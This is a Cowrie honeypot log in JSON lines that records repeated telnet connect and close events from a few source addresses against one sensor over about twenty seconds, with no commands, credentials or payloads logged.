{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40036,"dst_ip":"10.17.0.5","dst_port":23,"session":"c55da45823d0","protocol":"telnet","message":"New connection: 164.68.122.45:40036 (10.17.0.5:23) [session: c55da45823d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:31.974447Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56524,"dst_ip":"10.17.0.5","dst_port":23,"session":"83b869be3874","protocol":"telnet","message":"New connection: 199.231.212.75:56524 (10.17.0.5:23) [session: 83b869be3874]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:32.896380Z"}
{"eventid":"cowrie.session.closed","duration":31.045454502105713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:33.078208Z","src_ip":"164.68.122.45","session":"6bbea169b686","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56536,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4ac74288df5","protocol":"telnet","message":"New connection: 199.231.212.75:56536 (10.17.0.5:23) [session: e4ac74288df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:33.678091Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40050,"dst_ip":"10.17.0.5","dst_port":23,"session":"53b99719365a","protocol":"telnet","message":"New connection: 164.68.122.45:40050 (10.17.0.5:23) [session: 53b99719365a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:33.960018Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56546,"dst_ip":"10.17.0.5","dst_port":23,"session":"cff641f28a43","protocol":"telnet","message":"New connection: 199.231.212.75:56546 (10.17.0.5:23) [session: cff641f28a43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:34.464795Z"}
{"eventid":"cowrie.session.closed","duration":31.229159832000732,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:34.611564Z","src_ip":"199.231.212.75","session":"51bc11718926","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56560,"dst_ip":"10.17.0.5","dst_port":23,"session":"f2eb2eba7c62","protocol":"telnet","message":"New connection: 199.231.212.75:56560 (10.17.0.5:23) [session: f2eb2eba7c62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:34.845429Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40060,"dst_ip":"10.17.0.5","dst_port":23,"session":"48e53a824142","protocol":"telnet","message":"New connection: 164.68.122.45:40060 (10.17.0.5:23) [session: 48e53a824142]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:35.206208Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40074,"dst_ip":"10.17.0.5","dst_port":23,"session":"c700b3b247c6","protocol":"telnet","message":"New connection: 164.68.122.45:40074 (10.17.0.5:23) [session: c700b3b247c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:35.263786Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56566,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed668c554520","protocol":"telnet","message":"New connection: 199.231.212.75:56566 (10.17.0.5:23) [session: ed668c554520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:35.379839Z"}
{"eventid":"cowrie.session.closed","duration":30.516305923461914,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:35.407068Z","src_ip":"199.231.212.75","session":"f9677180e31a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60086226463318,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:35.717297Z","src_ip":"164.68.122.45","session":"60a7b077aac3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40082,"dst_ip":"10.17.0.5","dst_port":23,"session":"b1a26482638f","protocol":"telnet","message":"New connection: 164.68.122.45:40082 (10.17.0.5:23) [session: b1a26482638f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:36.008696Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56572,"dst_ip":"10.17.0.5","dst_port":23,"session":"92001a7a9e9c","protocol":"telnet","message":"New connection: 199.231.212.75:56572 (10.17.0.5:23) [session: 92001a7a9e9c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:36.066951Z"}
{"eventid":"cowrie.session.closed","duration":32.21147704124451,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:36.363585Z","src_ip":"164.68.122.45","session":"b4d85e9d5dd7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754080057144165,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:37.102379Z","src_ip":"164.68.122.45","session":"ec9213ce2bbe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.567014932632446,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:37.875448Z","src_ip":"164.68.122.45","session":"7371084f2edd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40084,"dst_ip":"10.17.0.5","dst_port":23,"session":"c9d559bcf7e7","protocol":"telnet","message":"New connection: 164.68.122.45:40084 (10.17.0.5:23) [session: c9d559bcf7e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:38.513562Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56586,"dst_ip":"10.17.0.5","dst_port":23,"session":"63a8c5af3c93","protocol":"telnet","message":"New connection: 199.231.212.75:56586 (10.17.0.5:23) [session: 63a8c5af3c93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:38.833934Z"}
{"eventid":"cowrie.session.closed","duration":31.293837547302246,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:38.856931Z","src_ip":"164.68.122.45","session":"e13aae252596","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211090803146362,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:38.953064Z","src_ip":"199.231.212.75","session":"ba9419e74929","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":40100,"dst_ip":"10.17.0.5","dst_port":23,"session":"a4b050143bf8","protocol":"telnet","message":"New connection: 164.68.122.45:40100 (10.17.0.5:23) [session: a4b050143bf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:39.185921Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":56592,"dst_ip":"10.17.0.5","dst_port":23,"session":"0ce0b9b1a3c0","protocol":"telnet","message":"New connection: 199.231.212.75:56592 (10.17.0.5:23) [session: 0ce0b9b1a3c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:39.476941Z"}
{"eventid":"cowrie.session.closed","duration":31.4063138961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:39.714886Z","src_ip":"199.231.212.75","session":"6426f737e140","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.12713313102722,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:40.091896Z","src_ip":"164.68.122.45","session":"b6b25e1aada5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.925787687301636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:40.272695Z","src_ip":"199.231.212.75","session":"f1c6b32af771","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":45998,"dst_ip":"10.17.0.5","dst_port":23,"session":"e4b6c9afa5dd","protocol":"telnet","message":"New connection: 199.231.212.75:45998 (10.17.0.5:23) [session: e4b6c9afa5dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:40.780135Z"}
{"eventid":"cowrie.session.closed","duration":30.168607234954834,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.073178Z","src_ip":"86.120.107.100","session":"e6abb27ff3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41106,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d57dc5d7ede","protocol":"telnet","message":"New connection: 86.120.107.100:41106 (10.17.0.5:23) [session: 6d57dc5d7ede]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.357414Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46748,"dst_ip":"10.17.0.5","dst_port":23,"session":"5aa740ff6884","protocol":"telnet","message":"New connection: 164.68.122.45:46748 (10.17.0.5:23) [session: 5aa740ff6884]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.379025Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46014,"dst_ip":"10.17.0.5","dst_port":23,"session":"53a60d71c9c8","protocol":"telnet","message":"New connection: 199.231.212.75:46014 (10.17.0.5:23) [session: 53a60d71c9c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.439946Z"}
{"eventid":"cowrie.session.closed","duration":30.797342538833618,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.729784Z","src_ip":"199.231.212.75","session":"ad9e9cf0c646","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.214009523391724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.800365Z","src_ip":"164.68.122.45","session":"cb56df58c027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.337324142456055,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:41.989600Z","src_ip":"164.68.122.45","session":"eed8faa6a9a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46750,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a2b2c06148","protocol":"telnet","message":"New connection: 164.68.122.45:46750 (10.17.0.5:23) [session: f4a2b2c06148]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.018347Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46002,"dst_ip":"10.17.0.5","dst_port":23,"session":"6548c02e2b18","protocol":"telnet","message":"New connection: 199.231.212.75:46002 (10.17.0.5:23) [session: 6548c02e2b18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.224587Z"}
{"eventid":"cowrie.session.closed","duration":30.598408699035645,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.285444Z","src_ip":"199.231.212.75","session":"246a5a4c9c6a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.711201190948486,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.643779Z","src_ip":"199.231.212.75","session":"332cfd3acd14","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.29731011390686,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.669554Z","src_ip":"164.68.122.45","session":"0e0f24fd08fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.191921949386597,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.960444Z","src_ip":"199.231.212.75","session":"85b2ac7bf1f6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.623960256576538,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:42.991570Z","src_ip":"199.231.212.75","session":"5c0aac8320e8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.436898231506348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:43.058738Z","src_ip":"164.68.122.45","session":"71b6917b410e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.926234483718872,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:43.086714Z","src_ip":"199.231.212.75","session":"ccb52a704687","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46026,"dst_ip":"10.17.0.5","dst_port":23,"session":"6d0ac579026e","protocol":"telnet","message":"New connection: 199.231.212.75:46026 (10.17.0.5:23) [session: 6d0ac579026e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:43.247950Z"}
{"eventid":"cowrie.session.closed","duration":30.939064741134644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:44.249626Z","src_ip":"199.231.212.75","session":"f5087fea5fef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.86467432975769,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:44.254567Z","src_ip":"199.231.212.75","session":"0ce8f069a69e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46038,"dst_ip":"10.17.0.5","dst_port":23,"session":"0c0384e07ef8","protocol":"telnet","message":"New connection: 199.231.212.75:46038 (10.17.0.5:23) [session: 0c0384e07ef8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:44.555792Z"}
{"eventid":"cowrie.session.closed","duration":31.460269927978516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:44.579180Z","src_ip":"164.68.122.45","session":"e19ebc60e5f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.180275678634644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.060278Z","src_ip":"199.231.212.75","session":"e2c1c0ac8561","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.20792293548584,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.127169Z","src_ip":"199.231.212.75","session":"31d4256f3506","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.83428978919983,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.169783Z","src_ip":"199.231.212.75","session":"f5e6befd8a76","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.358545303344727,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.177239Z","src_ip":"199.231.212.75","session":"95483b734b10","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46054,"dst_ip":"10.17.0.5","dst_port":23,"session":"acb8e77788eb","protocol":"telnet","message":"New connection: 199.231.212.75:46054 (10.17.0.5:23) [session: acb8e77788eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.182050Z"}
{"eventid":"cowrie.session.closed","duration":30.69355869293213,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.188612Z","src_ip":"199.231.212.75","session":"69ecb8c787fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46062,"dst_ip":"10.17.0.5","dst_port":23,"session":"52b2b82fac33","protocol":"telnet","message":"New connection: 199.231.212.75:46062 (10.17.0.5:23) [session: 52b2b82fac33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:45.475400Z"}
{"eventid":"cowrie.session.closed","duration":30.943705797195435,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.103488Z","src_ip":"164.68.122.45","session":"ffcc6594bab5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46766,"dst_ip":"10.17.0.5","dst_port":23,"session":"796c192b5ed6","protocol":"telnet","message":"New connection: 164.68.122.45:46766 (10.17.0.5:23) [session: 796c192b5ed6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.121126Z"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46076,"dst_ip":"10.17.0.5","dst_port":23,"session":"892aa90b9495","protocol":"telnet","message":"New connection: 199.231.212.75:46076 (10.17.0.5:23) [session: 892aa90b9495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.270369Z"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46768,"dst_ip":"10.17.0.5","dst_port":23,"session":"e7490d7f5276","protocol":"telnet","message":"New connection: 164.68.122.45:46768 (10.17.0.5:23) [session: e7490d7f5276]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.313543Z"}
{"eventid":"cowrie.session.closed","duration":31.294008255004883,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.496901Z","src_ip":"199.231.212.75","session":"99d155981d56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46770,"dst_ip":"10.17.0.5","dst_port":23,"session":"04780c2875c8","protocol":"telnet","message":"New connection: 164.68.122.45:46770 (10.17.0.5:23) [session: 04780c2875c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:46.703117Z"}
{"eventid":"cowrie.session.closed","duration":30.807043313980103,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.046819Z","src_ip":"164.68.122.45","session":"aee0f3d56ce8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.783719301223755,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.300667Z","src_ip":"199.231.212.75","session":"4759c25a62c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.20484685897827,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.360269Z","src_ip":"164.68.122.45","session":"40cd1d3fd994","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46772,"dst_ip":"10.17.0.5","dst_port":23,"session":"dab1ee596bf2","protocol":"telnet","message":"New connection: 164.68.122.45:46772 (10.17.0.5:23) [session: dab1ee596bf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.463179Z"}
{"eventid":"cowrie.session.closed","duration":30.95745873451233,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.626466Z","src_ip":"86.120.107.100","session":"ba620621a608","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"199.231.212.75","src_port":46078,"dst_ip":"10.17.0.5","dst_port":23,"session":"7bfa651b752e","protocol":"telnet","message":"New connection: 199.231.212.75:46078 (10.17.0.5:23) [session: 7bfa651b752e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.677495Z"}
{"eventid":"cowrie.session.closed","duration":31.728201389312744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:47.762436Z","src_ip":"86.120.107.100","session":"25e8e8b86c1e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46782,"dst_ip":"10.17.0.5","dst_port":23,"session":"556091d3abff","protocol":"telnet","message":"New connection: 164.68.122.45:46782 (10.17.0.5:23) [session: 556091d3abff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.054837Z"}
{"eventid":"cowrie.session.closed","duration":30.328449487686157,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.060326Z","src_ip":"164.68.122.45","session":"1764840273e5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41680,"dst_ip":"10.17.0.5","dst_port":23,"session":"779cba37a601","protocol":"telnet","message":"New connection: 86.120.107.100:41680 (10.17.0.5:23) [session: 779cba37a601]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.246255Z"}
{"eventid":"cowrie.session.closed","duration":30.87103009223938,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.451310Z","src_ip":"199.231.212.75","session":"dd25553beb9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46784,"dst_ip":"10.17.0.5","dst_port":23,"session":"05639a956037","protocol":"telnet","message":"New connection: 164.68.122.45:46784 (10.17.0.5:23) [session: 05639a956037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.501899Z"}
{"eventid":"cowrie.session.closed","duration":31.324740409851074,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.600731Z","src_ip":"199.231.212.75","session":"6877bcee3895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.179479360580444,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.686574Z","src_ip":"164.68.122.45","session":"916618e8524f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.73773765563965,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:48.944401Z","src_ip":"199.231.212.75","session":"68ad570437d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"164.68.122.45","src_port":46796,"dst_ip":"10.17.0.5","dst_port":23,"session":"5d234864cbcf","protocol":"telnet","message":"New connection: 164.68.122.45:46796 (10.17.0.5:23) [session: 5d234864cbcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:49.410965Z"}
{"eventid":"cowrie.session.connect","src_ip":"86.120.107.100","src_port":41688,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e23221fa2db","protocol":"telnet","message":"New connection: 86.120.107.100:41688 (10.17.0.5:23) [session: 9e23221fa2db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.050611Z"}
{"eventid":"cowrie.session.closed","duration":31.4057137966156,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.056615Z","src_ip":"164.68.122.45","session":"81fcbc39e486","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.063512325286865,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.076832Z","src_ip":"199.231.212.75","session":"15ccc55f2929","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.484868049621582,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.133269Z","src_ip":"164.68.122.45","session":"c9c15958b7c0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.754056930541992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T13:30:50.180500Z","src_ip":"199.231.212.75","session":"3014779cae15","protocol":"telnet"}
